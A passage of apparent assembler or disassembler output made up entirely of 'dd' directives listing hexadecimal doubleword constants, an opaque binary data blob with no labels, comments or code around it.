0A8C4481h, 0AF21BC1Eh, 78DA009Ch dd 0F970DB9Dh, 0F1AECA37h, 780BED8h, 0D273B3A7h, 920C2DB9h dd 28C6EFCAh, 0D16C16FDh, 9BBACEAh, 20635DBDh, 7CE7EE10h dd 604000Fh, 68780A83h, 1C07641Dh, 2F655973h, 2EFE71A3h dd 0C5F74A9h, 75117B1Dh, 7E392F00h, 6672D498h, 29646F5Dh dd 0AA50C35Eh, 1C8D205h, 0B200B19Dh, 0AE70F029h, 18612E7h dd 6BD5FFCBh, 4C586E8Ch, 0BB00BAC8h, 0D131769h, 1395CE27h dd 41CC3ACAh, 60E3A548h, 0DA699F55h, 13FD8580h, 0D04037h dd 2CB1FE49h, 0A95B0CC7h, 85F17A0Eh, 8807A978h, 3A0A0C20h dd 55809CB8h, 0A140F6A2h, 6E4600D6h, 1AA59804h, 8061EFBDh dd 0B4D483E9h, 0E4BC318Dh, 2020F1A9h, 2886E24h, 1F833A0Ah dd 0BE0F703h, 23D72CD8h, 3808B0C3h, 0C520AE5h, 0BBC15B5Dh dd 500D3F4h, 699B0DF2h, 99DDAB0h, 2F3160A1h, 0B15E84A1h dd 4C409A7Fh, 2EAC8279h, 0F8702268h, 0B7004464h, 0B0D63338h dd 1D3EED13h, 40090F10h, 0A49E0E93h, 0B8302F60h, 0B1563879h dd 0E7BC188Ah, 0D784410Ch, 96E9C062h, 4F802C6Fh, 4E826A00h dd 362F1DAFh, 4D153E08h, 0E3BC9202h, 830456A1h, 20103E84h dd 90E60350h, 0F0EF94A3h, 1871078Dh, 28ACAFFAh, 0C00CEA49h dd 1004D583h, 0E1BD1850h, 8D70E975h, 0F6710E09h, 3A30A54Ch dd 8B49C421h, 377AAE8h, 0BDCBB125h, 0C914A8E7h, 80A0D5h dd 0C3A2B06Bh, 0C2AFDE83h, 4A4BA539h, 81D42049h, 56799C5Eh dd 0B1807595h, 1E64993Ah, 2E003DE0h, 975D44B4h, 7AED87DCh dd 5B8C0607h, 31719666h, 7A636A01h, 4EA03ACCh, 280C2F8h dd 7952C4B7h, 28C008B5h, 62420D88h, 0D1557305h, 681480BBh dd 6018804Bh, 0C751673Bh, 0E22800F5h, 9F89D63Dh, 0CC54F871h dd 0CCA6B180h, 422FB600h, 632D958Eh, 0A15B0107h, 69B068EDh dd 241DC1B2h, 76026120h, 5CC2092Bh, 54800964h, 0D6EEC751h dd 17DBDE00h, 8152DDF8h, 0C1EF1272h, 5B3005FFh, 5A54885Eh dd 0E7333Fh, 0E41FAA08h, 60B40EA8h, 7A74612Eh, 8312BC7Eh dd 9423BADAh, 0A08CDCEEh, 0C39688AEh, 4B387267h, 72B221CCh dd 0BE6D002Ah, 39F2883Bh dd 19E04F3Fh, 2B329A01h, 65A9D584h, 88F05988h, 81605D8Ch dd 0A141077Bh, 0E01E2102h, 0A73B6AEBh, 8B69E00h, 1F06016Eh dd 349869h, 0FDB5E0Dh, 0A5D57EC3h, 0A8E2FF00h, 71689F75h dd 0E30A0072h, 5EB44369h, 970CDA96h, 69575DBFh, 0C54748A6h dd 5E37D700h, 85EADCC7h, 0B214F70Fh, 68030059h, 0A1236E2h dd 0D9AF4C2Eh, 1172018Ch, 336D75DAh, 8E9D003Ch, 91E25339h dd 8B03827h, 0ABC62301h, 875C5E57h, 0CDE9C271h, 0A66E7930h dd 0CE0916C3h, 34B800E7h, 0D69E1DCFh, 79D24A1Fh, 0D735E3C0h dd 0C20B1Bh, 0F833A549h, 0C55BAD39h, 0D80E0900h, 0F7E267CEh dd 200F0092h, 5F5E6A8Fh, 18009E4Bh, 0D2438B06h, 3CF6275h dd 0CC572982h, 98FB38A6h, 85272E2h, 4469BF00h, 6C65752h dd 0BC281D5Eh, 2CB20E50h, 0A5057F91h, 6A99C92h, 0BDDBF430h dd 0E0660767h, 576038B1h, 2077827Eh, 0E5F7B8C0h, 2260575Dh dd 3DB30762h, 508196DFh, 125389F9h, 15464500h, 23DDD537h dd 21E71739h, 0D1E44075h, 8401A48Fh, 2B70DF01h, 34E70F43h dd 4115BC60h, 69A03075h, 22A861D4h, 0F87972h, 7B3A872Bh dd 0E455B3C1h, 0E2F74D00h, 0B4C031E7h, 0DB126D2h, 30531360h dd 1AF55CB8h, 3AC34902h, 406813D6h, 604AF434h, 0A99BF987h dd 0BD01D492h, 0E54132F9h, 0F1F07994h, 0CB981Bh, 3415814Dh dd 4B82EB1Ch, 0FB00B0B1h, 0C11A9899h, 17AC2C92h, 449022C6h dd 2C07625Fh, 0E424417Ch, 0BFFA6BA0h, 22E50180h, 2DF9EEC6h dd 737CF151h, 4B990E8Ch, 9A04005h, 55436B9h, 0A4AD6547h dd 80D3F1E3h, 3C5A3829h, 1CE94890h, 80C87177h, 117FCCE1h dd 0AD0CF99Dh, 895A5E32h, 3B6B3DB9h, 43808EB9h, 0EB012D9Ch dd 7148D257h, 5FE2851Ch, 80D8DC88h, 8898D9D0h, 0BBE08318h dd 0C56A9679h, 809ECB31h, 7E2118EEh, 7559B43Eh, 7D4B0E15h dd 35070790h, 0BD601EF5h, 58D5DBE3h, 3C804039h, 3A3FAB25h dd 0A7CFA81Eh, 0D63600F8h, 47F9716Eh, 0FD83AEh, 0E9460F3Ch dd 5A005FADh, 2BA17FF9h, 4886C630h, 0D52518EDh, 2233BC00h dd 254AD684h, 28A50800h, 0C0B3B5FAh, 0ED0D9D20h, 824CDB64h dd 0CA3900FCh, 37604E3Bh, 4AD9C676h, 5F00C184h, 28ED34A4h dd 0ABBEF3h, 379F472Ah, 60FCC6E0h, 0CE6EE6F0h, 693CC658h dd 0DAC10541h, 0AB679ED1h, 0D9E74AC3h, 8021ABF4h, 0C61A60F6h dd 232E00ACh, 9C2AB8E3h, 32F2B1D5h, 0A613A1E8h, 0EC205CBAh dd 4A37023h, 79DB4001h, 728A2A4h, 2BBD5EA2h, 3786CFA0h dd 0D5C10421h, 0B27B22B8h, 18531Ch, 281A50E2h, 3B2CA5CAh dd 0F181A9D0h, 3BD348C2h, 9F1C3Fh, 2C0EDDCDh, 0C36B99A6h dd 0D86AACA4h, 7660CC51h, 37A23D7h, 71C27BEh, 9FCB31FFh dd 167C2AB8h, 8624B2Ch, 52405C44h, 20CEB4BDh, 0D9D65A00h dd 0FE2BD075h, 45D494D5h, 95C4204Bh, 91009AD1h, 1615CBA0h dd 0C0F363h, 0F05F0336h, 0FC851E1h, 0CFDB83Dh, 3979282Fh dd 433E4BF5h, 9896347Ch, 0D26636D9h, 10672C61h, 1C5EB11h dd 45D5EAE3h, 0BC8FF616h, 643C5818h, 3B408188h, 0FE3A0F55h dd 1931F0Fh, 2A9C0EA7h, 9409C5Dh, 20FC7Dh, 1219B0D7h, 0F9EF0E97h dd 0F4726F24h, 6918F02Ch, 0DEFC7079h, 0C04D1459h, 0BF38D50Ch dd 0D100F2B1h, 2C73F53Eh, 1AC65Ch, 9D23B262h, 60CADDDAh dd 1D01E37Ch, 0A9AAF241h, 0AC39EBBCh, 0EA52804h, 88ACD56Dh dd 5E305D9Ch, 6CB17179h, 1DFCBAh, 9434E307h, 0B2AF0C50h dd 98A63602h, 44EFBC6Dh, 84B0E4h, 9C5B352Eh, 0B0D5C30Dh dd 4520BC13h, 0D654B000h, 6025A9B1h, 1ED086Eh, 634CA035h dd 5B3226Ch, 2AD75FB7h, 27D43E46h, 1650A03Ah, 20839Bh dd 0A08990B9h, 9A807B30h, 0C6AE5F00h, 44EB07A2h, 88D8A1ABh dd 3C5E0C10h, 0BF7EE200h, 46ED9918h, 881000F0h, 39CC11A3h dd 7015F8C1h, 38C52F7h, 0F5C306A1h, 33904B3Ch, 1105EAC0h dd 537823AEh, 0A271E8C0h, 0B050FB66h, 9DC3562h, 7580ECBFh dd 3660FCC0h, 4A217A65h, 0F1764C00h, 0B947A0h, 0CEF237F4h dd 0A389A84Fh, 71F0C203h, 0B050A21Eh, 0F00EB0D4h, 0F143F33h dd 41C214Fh, 0EC27E1F2h, 31FE05A0h, 1A167F7Dh, 0AC0066B7h dd 9EB0EB2h, 50D34DA2h, 516A3111h, 0B178023Ch, 1089D861h dd 0EE858188h, 837DD1h, 303524AFh, 0CDED738Eh, 5529E0E7h dd 0FCB6C09h, 0DAB0A0A6h, 78FA80D7h, 56FADEh, 811D6E23h dd 9233C20Ch, 86D97800h, 73C33505h, 0E2BA3DC1h, 0BE32750Eh dd 0C0079065h, 630AD64Ch, 6F7AB309h, 171498BAh, 0C3E65Ah dd 8BB20197h, 0FDC5B07Ch, 8F4BE516h, 0EABCE402h, 0A1D4207Ah dd 0CF4CB90Bh, 0A92450A8h, 34262E24h, 22506940h, 4ADCF886h dd 0C10C44B2h, 400584D4h, 865B56F0h, 0AF076F8Ah, 0AE9C2C52h dd 1A2E2DE0h, 0B83D2691h, 0D31C00D1h, 0E3288618h, 80E92039h dd 82F4214Ah, 2D3C3277h, 9C549016h, 0B8C57200h, 0CD4276h dd 0FAE1D73Ah, 3CFD4345h, 28C2E400h, 0AECE2C6Ah, 40060779h dd 0C0C4F30Fh, 0BB234781h, 0F6C640C0h, 9F116F7h, 4DD479B4h dd 0CA18DE50h, 0BA0882A3h, 9C470929h, 2580BC35h, 0D548DC6Dh dd 0C752A90Fh, 25D3E064h, 6FA9D4Ch, 5AFF3E5Fh, 720038CFh dd 26153AC0h, 0C7E0919h, 3BD9E989h, 0D17DBA61h, 1EBF8D3Ch dd 3C6859D4h, 17E7C44h, 0F1F7E16Ah, 0CCFA305Bh, 0FDFA2CB7h dd 3861CD6Ch, 861A89BDh, 7746DA88h, 832C0041h, 26944AACh dd 9600BF92h, 0D2A24989h, 1DEFF46h, 0CF0A25E3h, 0DCEEF9F3h dd 0FD01EF72h, 48BA3010h, 3EEC8FC9h, 23761DDFh, 0A196004Ch dd 0C4A7F441h, 0F3DED700h, 5133EEC9h, 61AA72A4h, 0A7ED797Eh dd 10B6860Fh, 3C487F70h, 0D7302307h, 887B32B9h, 0F1D4F301h dd 0C451064h, 7582DFCh, 0FF206D4Eh, 0C9962091h, 2B0C36EAh dd 10278BECh, 0B63B00D0h, 0AB8ECEE9h, 0B22009FBh, 2C0C0EC6h dd 0B14FEA8Bh, 7ADF1E20h, 1200C31Fh, 98472BDAh, 0F80750D3h dd 0CF8924F3h, 92C18F20h, 1DDB40Ah, 0B3546394h, 4858ECD1h dd 0C514D812h, 0D34C1806h, 45D91831h, 26D2E974h, 2A212B00h dd 711C6BD6h, 3DDA18A7h, 0D45B2185h, 0B1BF1C6h, 5CF30E04h dd 0F0805750h, 15F87C09h, 18915BFCh, 85A74802h, 77DBC0DAh dd 33AF0CD1h, 4350D206h, 84E98612h, 3A5C5Eh, 14CD5064h dd 0F2B40267h, 0CC0830F6h, 70842548h, 0DBB83E03h, 1C8F7C9h dd 9481D461h, 90B301D3h, 31801B30h, 8A6F5576h, 7E5C730Fh dd 0D4AEC0E1h, 0A0CF3ED9h, 0F1BD4578h, 21984090h, 85560773h dd 92697C5Bh, 1D00E3FAh, 0AE1CBC86h, 2A3EDAB0h, 448CC753h dd 0FF0B71CBh, 86F067FCh, 6986B7h, 0EACB23DCh, 319DD306h dd 0DAEED800h, 987EB685h, 586678ABh, 0AF3E0A01h, 1D96CC54h dd 0C02B86B0h, 2C9AB9C7h, 193C734Dh, 185707C0h, 8288741Ch dd 0BC248FFBh, 0E5A084h, 92AB8017h, 0C75602B0h, 0BF8F4696h dd 8444C844h, 19BC00F5h, 0C19A7C3Ch, 0A7E46911h, 8C85ED03h dd 0D0F16E9Bh, 0CF2B64Bh, 714E4FD4h, 0C800B038h, 0ECDEF746h dd 7E74728h, 3DEEE1FDh, 7E4BF236h, 0AED20C81h, 45D180D1h dd 6CB00D7Fh, 0D35B2A3Dh, 15940198h, 6ABD4C66h, 0A39BE0CFh dd 63C7D802h, 902A0B2Ch, 78DC6C0h, 4BE97646h, 67C14C7Fh dd 0BD851812h, 4C172032h, 0C9430A28h, 0DEA13E3h, 0E8196DB4h dd 59C6DCFEh, 0A1DDAEh, 0FA9F34FCh, 0ED1E2C7Bh, 1B9AB00h dd 0C24D21B1h dd 2594002Ah, 45CC3C71h, 8CF7E98Eh, 41DEAE88h, 0B5392E75h dd 2C7A012Ah, 0D0A84255h, 0C958319Bh, 0A11700C5h, 0B6C64877h dd 0A4493781h, 5E3E80A9h, 0EF1253CAh, 0C0402096h, 0C41BFB17h dd 61CC607Fh, 7DC2ACCBh, 8A0840E9h, 220CDD75h, 0D1D55B15h dd 61A0003Fh, 64719707h, 19F0E3D3h, 0D92DC601h, 0E55381EFh dd 0A42A4185h, 6CA4407Fh, 0D5D1BE70h, 43E94F03h, 0F835A337h dd 0A44AD49Ah, 0C81B07A8h, 404D3317h, 0F3153722h, 643E8700h dd 91545914h, 0BDC605CCh, 0C5AF6719h, 2B180359h, 4C98E772h dd 894C12AAh, 242804F8h, 2CC8A3CCh, 184E4BDh, 0EA318CF7h dd 87CD7CDCh, 3A0D8976h, 0EC57B370h, 0F45D243Dh, 0C3C008E0h dd 0F9DA5B0Ch, 0B6E60041h, 0EE5776A8h, 641E1917h, 9BC09FA9h dd 0AA751055h, 0AE9713B0h, 477C21E8h, 466A1073h, 70BC2849h dd 0C6DA7481h, 2179A418h, 453D7C01h, 326C9D16h, 9AC214F0h dd 397E5C20h, 30C67100h, 2C98E175h, 0ABFB1104h, 5488814Ch dd 0CFB301F5h, 26E9A641h, 0C008A044h, 7BE7D44h, 0F9A51DCh dd 0D07A4099h, 0D8B1D108h, 628B1D80h, 0FE5BEB52h, 233200A2h dd 0E0F42871h, 30B80154h, 0F32C9EE8h, 4B420488h, 0F94084A6h dd 0FB16D080h, 48C9E8D1h, 0D482ACF4h, 0F0A0BC4Ch, 3648DAB6h dd 0E74EBDA0h, 0BED2DE0Fh, 8921D8B4h, 69F8FB63h, 0BA060086h dd 20272CECh, 47265744h, 3D433090h, 0E751985Fh, 54211D96h dd 112424F7h, 0F31A00C3h, 0EC3980B5h, 2486B0D9h, 20B3D532h dd 8FF20110h, 26AA6B16h, 0E2C3E777h, 4B25B102h, 44AF1488h dd 0B0530BBCh, 8780A4A1h, 0B9A5D5CBh, 0D9883300h, 0DFF68289h dd 26AC07ABh, 0C0FA0E1Dh, 4DCD9553h, 1C159E2Eh, 7590BA01h dd 0C84C0C10h, 0AD660004h, 0D6428DA6h, 0DD016FBFh, 0B1F51CB8h dd 443043CFh, 0B0987Ah, 0C31B2388h, 0CDB2562Bh, 2970C148h dd 4E90B0FCh, 3BC0F2C2h, 0D09234C0h, 0EC079383h, 25C608C2h dd 959CC8B3h, 9705B8FEh, 0C8A963B7h, 3F613EC0h, 592609D5h dd 0FC02F7C0h, 0B0E8AD4Eh, 0D96701C9h, 905EAE79h, 652E7500h dd 98180B4Fh, 5209840Bh, 568F0FB8h, 0D4F56421h, 80AF6A01h dd 465AC599h, 319EA8D1h, 626855F7h, 0E4A30275h, 87490EC8h dd 1269CE4h, 6D20D8ADh, 2BBD00DBh, 2D94F30Eh, 0E6007AB3h dd 46D81B25h, 2C42891h, 0D3579945h, 7C60CA26h, 0A8984E24h dd 3F42F8B0h, 2C9B3061h, 201441DEh, 1700634Ch, 0DC01516Ah dd 0C0AB4EC2h, 0C9770C41h, 0CF4C8450h, 88CE53DEh, 0C27C701Eh dd 0CAAF2B8Bh, 0F89576C1h, 71E6CE19h, 18EEFA17h, 0CA2AA860h dd 51C761FEh, 300B9350h, 2488CBA4h, 2635001Ch, 0B65B3C31h dd 94B91B8Eh, 69555880h, 3B7A1D73h, 8D9C51E4h, 0F2E18097h dd 0C5433020h, 8CD31C00h, 0C7656F50h, 54C058D2h, 22DDFD84h dd 12B522DEh, 67E0D540h, 4BDFFD01h, 0E8615F19h, 389C71E4h dd 1596E118h, 62843083h, 452CE350h, 0BD405C76h, 5C701Ch dd 0F2DEB846h, 5F3AD88Ah, 90C16000h, 711DA368h, 0B1850191h dd 998BF2BFh, 4B69FC3Bh, 0F67B42F2h, 3930155Ch, 7C6C4824h dd 0DAF7CA00h, 0AF71BAC9h, 29B1C0D2h, 0A4812FEBh, 1AF85A0Dh dd 98822088h, 0B42360BCh, 7E75FC44h, 6DBD6C00h, 40564779h dd 0C4E93D9Bh, 60516780h, 0D2BFA680h, 92C4AF48h, 804BA409h dd 76DE8F34h, 410909Ch, 86D93C7Eh, 0E9AC83E5h, 41258979h dd 0F1642E8Ah, 0E3F94803h, 0B490225Ah, 3D005481h, 753189F6h dd 0BEFCED0h, 84C98EE0h, 0B5CB6490h, 0DD01FD3Eh, 752A0078h dd 0DA37737Eh, 0CC472281h, 0E01CBF2Ch, 75C1CD10h, 77CF55DFh dd 0FD1A07C8h, 40A01D95h, 0CF62C1Eh, 0DC4CD54Ah, 44B1A321h dd 541A5700h, 235191Eh, 0D54CF621h, 58C51650h, 0EEF87100h dd 75642Ch, 0B0F3B3CEh, 10251363h, 0E45690A1h, 9B3C3334h dd 8A628C0h, 14802098h, 809646DAh, 0D14478A8h, 0A13D74D9h dd 242C500Ch, 28B133F1h, 0AE430380h, 2C189E9h, 256DE339h dd 0B864A32Bh, 17E3Eh, 0F38B4427h, 0AA15F58h, 0D05A15B0h dd 980BAD4h, 0F02DA3E8h, 78907742h, 0BA61A260h, 0E7F780h dd 0DE7E2AB1h, 9A83D83Fh, 277B3Ch, 49574631h, 1D1257Ah dd 1F212C1Dh, 0ACD34BD5h, 12604491h, 2F3D04h, 0C9FEDD05h dd 5A3B6602h, 809C4900h, 90AF6DB9h, 0BB1D0021h, 0C9FD0E1Bh dd 4903BEEh, 0E001A9D6h, 2C3123B0h, 1EBD7834h, 4BF2E94h dd 884D8166h, 0D48C310h, 1471012Ch, 0AA4BF845h, 39E1FD4h dd 2ABFFBEDh, 501E48BCh, 2CCAFD21h, 4824A444h, 89CBF708h dd 0F4104BD4h, 1F002D20h, 39FB1BFEh, 2981C6EFh, 8D0E64Eh dd 5B8C873Ah, 3EF741D6h, 0C687F4A2h, 0C3C1CE44h, 36F05E0Fh dd 2B3AFA80h, 97A8124Fh, 0A4B3BC09h, 0B6671990h, 0AD0081C8h dd 0ABD00D2Eh, 685B9FCh, 99EEF131h, 154639C0h, 233BD917h dd 0FFC067C0h, 4848CBDEh, 1C304A8Ch, 6BED0A4h, 0D3063B71h dd 0C3052850h, 333CAC4Eh, 8C48BC20h, 70F95CBFh, 0BDD21603h dd 9900CEB3h, 5E6AE53Fh, 6530F1h, 947AD320h, 21E1A8B5h dd 0D6330F0Fh, 4C46C2DDh, 1E0E424h, 1DF7A22h, 70B91D36h dd 0AE072514h, 70BC2D30h, 0F0C34E65h, 0CE90064Ch, 71CC51D4h dd 879CA348h, 77608503h, 0F20AFF9h, 14977A40h, 0AA3F5B62h dd 92BBD440h, 0B91226F8h, 0A020C2CCh, 0A5DD4C81h, 942204B0h dd 0ACBEC0B2h, 0F7000CEAh, 9E3D8CC7h, 0BA1844DAh, 0CD90CBDCh dd 753AA402h, 95848121h, 0FE424821h, 0DABCC0A1h, 0AE802C70h dd 4A3A40F8h, 730A3C3Fh, 0ACC6FBCAh, 0B44B01BFh, 354DD4F2h dd 2AF8993h, 0DA0C7D14h, 0C3856C60h, 0FB087E51h, 2BBEA2C7h dd 701CA8E6h, 0A88098CCh, 69D99B41h, 201A4AC9h, 6EC41F70h dd 0BB5B8600h, 74FB335Ah, 7BF3001Bh, 0F244E6E2h, 160240BAh dd 0BF4C18D3h, 20508196h, 0FC6242DAh, 2C25D207h, 0AD45401Ch dd 1B0131A9h, 2695F91Eh, 0A83251B4h, 4E00E48Fh, 144D8BB2h dd 38D21B2Eh, 398C2Ch, 9DFD20ECh, 1D3B02Ch, 71721E2Bh dd 3821C3EEh, 0C6C88078h, 27BD0304h, 4934C9Bh, 0F7D3F4D8h dd 214894Ch, 71D437DAh, 0AE50C0E1h, 30872ABh, 8E46B5E6h dd 0FE00286Eh, 0EC214A44h, 54AECA7Bh, 68CCD7h, 4CF4945Dh dd 0FF74DF10h, 8156C101h, 2327731Bh, 759BF460h, 3DE40088h dd 0CF708E47h, 0B0A6CB7Dh, 7131170Fh, 3B801D0Eh, 6353E955h dd 46010CC8h, 99F828D5h, 0C22B7D00h, 0AFF32109h, 0B82E48E9h dd 96E42471h, 1D1A12CAh, 4F3B8024h, 7462BFDh, 0B4FF8B05h dd 80C02579h, 30DBF558h, 0C77980A3h, 833FD3B7h, 135CE9h dd 2503A14Ch, 0C2CA8C3h, 0EC332F3Eh, 0D978C640h, 0EDC845Dh dd 0A78DFF6Bh, 0A18CEF4h, 8088D4AEh, 85166F7Fh, 95053077h dd 45F48A9Fh, 6C929881h, 0E2F31407h, 8B6D80F0h, 731671h dd 0B39C0270h, 4E87E61Eh, 0D56E9D01h, 975B9E32h, 0CC4871B9h dd 0E6CF2E4h, 80257C31h, 0F508F411h, 10C239D3h, 44BB4E00h dd 0A6541E37h, 210CCF4Ch, 37A11C8h, 796920D1h, 6FE48029h dd 0D97B2D81h, 0BC439490h, 0DD6A3500h, 0F5ADF8A5h, 0BCC49122h dd 3BC50C2h, 2C8D0B24h, 157D7C00h, 38F3E097h, 64073A8Eh dd 848CC206h, 66ACC086h, 0D090CC91h, 3C95C600h, 0B6EA1A5Dh dd 20BA137Ch, 43C82778h, 5B9128B0h, 12742869h, 64D050D4h dd 7C63DAB3h, 92149CCCh, 93FC0525h, 0E4782DCDh, 850343BFh dd 81AD62AEh, 45E6E8D2h dd 33272C40h, 763B4060h, 0CE02FCE9h, 0C6F3CD78h, 134D096h dd 0C2D0D9A4h, 2C4AD4CBh, 18409EA8h, 85DA2E86h, 45B20717h dd 0F0219647h, 4DB1D1D5h, 0A809BEF0h, 3313859Ah, 741CD8B0h dd 0A0E4306Bh, 0C3438E6Ch, 4BD6F500h, 0F35337Ch, 976907F4h dd 0F04E844Ch, 0AEF32709h, 0AACBC63Eh, 0EE44A476h, 0C3771A8h dd 0C453D4BFh, 0B81AA1h, 2B11C200h, 0FD1C2A17h, 0DEF4024Ah dd 42D9CD6Ch, 804EACD9h, 5C3029E9h, 49920321h, 6FC3624h dd 0B84C43EAh, 6CD5AE24h, 0AA3BB780h, 7A399Eh, 0FE621728h dd 0DC3882F5h, 0C9CB68C1h, 44282AF6h, 0CC20AE25h, 0D168FB66h dd 7FA0CE1Fh, 81930681h, 2185F147h, 88943D9h, 0E881D850h dd 0ECA9638Ch, 71B3FD0h, 2166906Dh, 24E19F28h, 20F3D10Bh dd 0CA2050C8h, 74B75C6Bh, 0D69F7C58h, 0EE12B8h, 0A2BBCDA8h dd 8BE4693Bh, 4B0775EAh, 4C50B1C2h, 0F3D184Ch, 0BDCDB353h dd 0C8FCCAC4h, 1D79BEFCh, 588114E9h, 0CE7005F8h, 50AC78CCh dd 7A550887h, 0C024BEC5h, 0EAAF932Bh, 0A100877Ah, 0FCE0D3D6h dd 73D2221Bh, 8E7000F6h, 0C3BB6C1Ch, 5B007B8Ch, 94AC4ACCh dd 261492EDh, 40485181h, 0C82C212Ah, 31C9D60Eh, 0C488D290h dd 0F6EC01A3h, 161F636Ch, 578EC0Dh, 9B353B13h, 0A8E544C3h dd 9C4B8115h, 21B39250h, 833A2720h, 0D459C8ACh, 8D7AA024h dd 0EC3B4CDAh, 40D15B85h, 4BA77688h, 0B37A58C9h, 3DFE6C05h dd 0F4801C29h, 7276A71h, 17DBA64Ch, 0C09B6222h, 280970E0h dd 9A80A77Eh, 37CF14D3h, 0B70BBCEFh, 640163F8h, 295B1AC5h dd 8D3A09C4h, 438C8075h, 1F2F2DE8h, 0E22B0C96h, 0E0056898h dd 0E3F61DA7h, 80B64882h, 16671308h, 52E4B61Eh, 0C94A1C40h dd 0A27B4484h, 11FDBD07h, 73A077F7h, 42B714Dh, 4AD54C45h dd 0F32040C0h, 1574B196h, 0A4DCAED3h, 51DA4907h, 0EB9070ABh dd 18001209h, 2A43F405h, 758D801Ah, 8C24BE0Bh, 4D9990C6h dd 454BE80h, 0C4EB5F70h, 0AA808CC2h, 8AD35000h, 0EFD788FAh dd 9637001Bh, 84F3768Ch, 0E40B4B3Eh, 1332F781h, 0E8394C6Ch dd 9F4715C0h, 2E00B9ACh, 2CDF66B6h, 213174h, 83165844h dd 0DD96812Bh, 0CB5A7B01h, 0BC799B8Bh, 2F7DA40h, 73063D0Fh dd 383E2381h, 31EF51CAh, 0A6BAFC7Ah, 4E25E93Eh, 333C4C00h dd 7EE1D8Ch, 0D9B346DDh, 1BF53134h, 0C7B8296Eh, 0C9C5FE77h dd 393C87C1h, 89E9E849h, 0BB035439h, 0F7522469h, 20B4702Dh dd 0F113DFE8h, 986300EFh, 0FB0B5908h, 0BE44D0A5h, 0A8326B3Dh dd 0EF50DC00h, 2B00D2DEh, 0B9ED814Ch, 0B6979DAh, 4BAAB427h dd 0D2FEE022h, 0B512D311h, 4CC94A60h, 27FAC712h, 58206013h dd 52AC39Bh, 9A50D81Bh, 183C88A4h, 7D8E4107h, 0B8500DFAh dd 964ED4D3h, 6054AC0Ch, 0BF63DE88h, 0BCB2BE00h, 46F1449Dh dd 0D5C20032h, 0DF220B1Dh, 9A02BD81h, 6A43238Ch, 2FCC5821h dd 0B87E4B96h, 0E8A4750Bh, 0F6EEACh, 0C8EA73F3h, 0A4BB96Dh dd 3B71721Dh, 0CEDFFF40h, 913DDA5Fh, 5CC02074h, 8B00BC44h dd 1AD37E1Bh, 0FB05B054h, 96E756ADh, 81D4D420h, 9F2802B1h dd 0C6F9CA2Ch, 761EBE20h, 0D320000Dh, 269D9BF8h, 0CB006AE4h dd 37A1565h, 947C3CDAh, 0FFAC6E94h, 26247211h, 0D00881Eh dd 808E2728h, 0DE18000Eh, 0CA7DFBE1h, 1618A2EEh, 0A731CE5Bh dd 1D980297h, 5103B26Dh, 81B7CC40h, 14224C4Fh, 17D31043h dd 0C79D5409h, 0CB00C882h, 948ECA4h, 0D9F9BF8Dh, 9950DC60h dd 0FA302104h, 0B4A01C3Bh, 51A8BC10h, 0C5E70D8Bh, 5B2594A4h dd 49A040B4h, 0FB053239h, 4A185600h, 77D5250h, 31002B3h dd 0C4D31C2Bh, 4496844Ch, 0D0CDD093h, 0B408A031h, 0CC30BC1h dd 0B888A6FBh, 0CF868048h, 0EF3A710Bh, 54CBBE16h, 85253CC0h dd 50C401E3h, 84D80B1Ch, 26D1E47Bh, 4DA1B418h, 0C083A440h dd 80104B49h, 871EBF75h, 0C140196Dh, 38EAC478h, 655316F9h dd 7C14C98Dh, 929A0E8h, 871800B4h, 6AC3467Ah, 0D8002220h dd 338E3E7Ch, 4C214C0Fh, 0AF02743Ch, 25D732FCh, 0CCABE061h dd 68B8837Bh, 1098144Bh, 0BC988C40h, 98737C80h, 6871565Ah dd 4C62F3C9h, 0C1228858h, 39DFFDF8h, 0E750982Dh, 0AE0F0h dd 0D0B573F9h, 904AD38h, 1D8ABE02h, 53803EDAh, 0A07980C0h dd 5A455EABh, 0F2B31D0Bh, 13186455h, 0CAD25381h, 0BF6B0134h dd 0FA375056h, 3C4428A4h, 84819102h, 0B8541CA1h, 0E390F362h dd 9B7DE81Ch, 0A4132E83h, 202940D8h, 720031F7h, 2F6177D8h dd 48F96A47h, 730E4869h, 1C4BF019h, 6190C484h, 4817D1EAh dd 1D531680h, 2482A7D6h, 11D49DADh, 16B0E93h, 0ABF8AEA5h dd 4CCCCh, 0CD1C3189h, 0A8545C94h, 0A7B4F000h, 7AE0B2DDh dd 0CBB90937h, 0E0E44EB8h, 26901A4Ch, 33C5CBCh, 7A0F462Ch dd 2530CFBEh, 97F9E4Ch, 5A34E1EDh, 1607D05Ah, 0A33A073Ch dd 0E4FD8BA0h, 2C1972D5h, 40D8B462h, 0AA89A18Eh, 0FC616B00h dd 2BB1B73Ch, 27AC7C5Bh, 4902C1Eh, 7000A7D4h, 30371AE7h dd 4882500Bh, 0DC4C404Bh, 0F7EE013h, 1E67DF03h, 0D19652CCh dd 83C9963h, 4A98BCB2h, 3C715CCCh, 0AD808DAEh, 0DD0F9A37h dd 20F8F1Ch, 60A6474Fh, 1BEC6D0Ah, 0B82F545Bh, 0CD4C32D4h dd 2483A3B9h, 80879055h, 0BB59B54Ah, 2E1AF200h, 751464Eh dd 628CB1DFh, 5C609248h, 0BC88EF01h, 98497E3Ch, 269502B6h dd 0E7374092h, 34543442h, 5A54D542h, 70AF4D60h, 78280B26h dd 28907E41h, 7F0B6C98h, 495A6698h, 0E5608CDCh, 816C0746h dd 374AB5h, 4416B2A8h, 470127FAh, 2ED13DAEh, 7C6014E9h dd 0C9C2444Bh, 8968F54Ch, 981078BDh, 0F3A01338h, 4DD0208Ah dd 4C2D7680h, 557002F7h, 283865D2h, 0E1130058h, 320A596Eh dd 0C40C810Fh, 0B2B1C91Eh, 56542EB5h, 50452550h, 0C2A47E90h dd 385C4F70h, 3CB14E60h, 41BCA638h, 45EEC491h, 66E99625h dd 0AF6E07E4h, 80719097h, 4E811BC7h, 2A89C0BCh, 0CB6C841Ch dd 40E52B49h, 6A69C818h, 46674FF1h, 6178A37Ch, 75DFC706h dd 13D8E845h, 44CD5B48h, 4AD74C38h, 5440B4B3h, 39EEA3F3h dd 4B830B6Fh, 0F140AC7Ch, 1CAEC087h, 0CE1E6615h, 861493CBh dd 0A44B1408h, 945914h, 2C7913A9h, 0E4CA2F10h, 0EED4021Ah dd 0BE9B18B3h, 0C42A1C49h, 47266B1Dh, 992DC4B7h, 6B08C0BCh dd 80C72539h, 431D2B90h, 0E8A1BC38h, 12C7D62h, 6CD265E7h dd 32AF6DBFh, 5F590750h, 0F0C30C9Ah, 0B0A4E41Ch, 0F13200CFh dd 0E875E80h, 9700AE20h, 68E55B9Ch, 504BDB83h, 8456E81Bh dd 40A43CA3h, 0C21CC726h, 0BF562E16h, 0A2CB4470h, 